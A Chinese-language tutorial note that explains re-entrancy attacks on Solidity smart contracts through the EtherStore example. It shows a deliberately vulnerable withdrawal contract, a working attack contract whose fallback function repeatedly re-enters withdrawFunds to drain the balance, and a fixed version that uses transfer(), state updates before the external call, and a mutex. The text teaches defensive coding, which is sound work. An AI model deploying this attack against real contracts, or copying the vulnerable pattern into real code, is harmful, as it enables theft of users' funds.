重入攻击 re-entrancy 攻击: 重点用在DAO上。
transfer() 发送失败则回滚交易,只使用2300GAS 可以防止重入
send() 发送失败则返回false, 2300 gas, 可以防止重入
例子
直接看代码。 有这样的一个 StoreEther.sol 合约:
contract EtherStore { uint256 public withdrawalLimit = 1 ether; mapping(address => uint256) public lastWithdrawTime; mapping(address => uint256) public balances;
// 存款 function depositFunds() public payable { balances[msg.sender] += msg.value; }
// 提款 function withdrawFunds (uint256 _weiToWithdraw) public { require(balances[msg.sender] >= _weiToWithdraw); // limit the withdrawal require(_weiToWithdraw <= withdrawalLimit); // limit the time allowed to withdraw require(now >= lastWithdrawTime[msg.sender] + 1 weeks); require(msg.sender.call.value(_weiToWithdraw)()); // 这里应该使用transfer balances[msg.sender] -= _weiToWithdraw; // 这一步有漏洞,上面一行使用了call lastWithdrawTime[msg.sender] = now; } }
攻击POC attack.sol
import "EtherStore.sol"; contract Attack { EtherStore public etherStore; // intialise the etherStore variable with the contract address constructor(address _etherStoreAddress) { etherStore = EtherStore(_etherStoreAddress); } function pwnEtherStore() public payable { // attack to the nearest ether require(msg.value >= 1 ether); // send eth to the depositFunds() function etherStore.depositFunds.value(1 ether)(); // start the magic etherStore.withdrawFunds(1 ether); } function collectEther() public { msg.sender.transfer(this.balance); } // fallback function - where the magic happens function () payable { if (etherStore.balance > 1 ether) { etherStore.withdrawFunds(1 ether); } } }
在上面的代码中。 attack.sol 的方法 ()payable, 就关键。
用户部署好这个attack.sol 合约之后,手动调用 pwnEtherStore()方法,该方法第一次执行时是正常的。
但是 第一次执行完之后,会执行 payable这个callback, 此时 EtherStore.sol 并未执行
lastWithdrawTime[msg.sender] = now;
所以,导致 Attack.sol的 payable方法可以继续执行, 再拿一个。 不断的执行,直到EtherStore.sol 中的余额不足1为止。
解决办法
不要使用call
要使用transfer(), 该方法执行时会只使用2300 gas, 不足以支持第二次withdraw.
另外,要遵循solidity的安全编程原则:
1. 某个函数,最前面要做好各种检查
2. 然后设置“目标函数被执行后”的状态
3. 最后才是执行 “目标函数”
使用mutex (锁)
完整解决方案如下:
contract EtherStore { // initialise the mutex bool reEntrancyMutex = false; uint256 public withdrawalLimit = 1 ether; mapping(address => uint256) public lastWithdrawTime; mapping(address => uint256) public balances; function depositFunds() public payable { balances[msg.sender] += msg.value; } function withdrawFunds (uint256 _weiToWithdraw) public { require(!reEntrancyMutex); require(balances[msg.sender] >= _weiToWithdraw); // limit the withdrawal require(_weiToWithdraw <= withdrawalLimit); // limit the time allowed to withdraw require(now >= lastWithdrawTime[msg.sender] + 1 weeks); balances[msg.sender] -= _weiToWithdraw; lastWithdrawTime[msg.sender] = now; // set the reEntrancy mutex before the external call reEntrancyMutex = true; msg.sender.transfer(_weiToWithdraw); // release the mutex after the external call reEntrancyMutex = false; } }
contract callback: payable方法
payable一般作为modifier, 但是也可以单独使用 ,具体参考:
https://ethereum.stackexchange.com/questions/20874/payable-function-in-solidity
function () payable { // 注意这是一个noname 方法,见下面 if (etherStore.balance > 1 ether) { etherStore.withdrawFunds(1 ether); } }
该函数等同于:
receive() external payable { ... } // receive 一些内容之后,触发该receive()函数
function *noname* () payable { }